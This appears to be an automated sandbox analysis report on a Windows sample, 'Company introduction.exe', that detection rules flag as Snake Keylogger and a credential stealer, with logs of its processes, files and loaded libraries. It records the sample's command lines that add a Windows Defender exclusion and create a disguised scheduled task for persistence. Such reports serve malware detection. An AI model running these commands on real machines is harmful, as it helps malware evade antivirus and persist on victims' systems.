Source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Company introduction.exe PID: 7452, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: FzXKnGk.exe PID: 7888, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: FzXKnGk.exe PID: 8144, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: Company introduction.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: FzXKnGk.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@18/11@3/3

Source: C:\Users\user\Desktop\Company introduction.exe

File created: C:\Users\user\AppData\Roaming\FzXKnGk.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Mutant created: \Sessions\1\BaseNamedObjects\HgocHLp
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8032:120:WilError_03

Source: C:\Users\user\Desktop\Company introduction.exe

File created: C:\Users\user\AppData\Local\Temp\tmpE629.tmp

Jump to behavior

Source: Company introduction.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Company introduction.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Company introduction.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Company introduction.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Company introduction.exe	Virustotal: Detection: 29%
Source: Company introduction.exe	ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\Company introduction.exe

File read: C:\Users\user\Desktop\Company introduction.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Company introduction.exe "C:\Users\user\Desktop\Company introduction.exe"
Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Users\user\Desktop\Company introduction.exe "C:\Users\user\Desktop\Company introduction.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\FzXKnGk.exe C:\Users\user\AppData\Roaming\FzXKnGk.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpEF32.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process created: C:\Users\user\AppData\Roaming\FzXKnGk.exe "C:\Users\user\AppData\Roaming\FzXKnGk.exe"
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process created: C:\Users\user\AppData\Roaming\FzXKnGk.exe "C:\Users\user\AppData\Roaming\FzXKnGk.exe"
Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process created: C:\Users\user\Desktop\Company introduction.exe "C:\Users\user\Desktop\Company introduction.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpEF32.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process created: C:\Users\user\AppData\Roaming\FzXKnGk.exe "C:\Users\user\AppData\Roaming\FzXKnGk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process created: C:\Users\user\AppData\Roaming\FzXKnGk.exe "C:\Users\user\AppData\Roaming\FzXKnGk.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: gpapi.dll	Jump to behavior
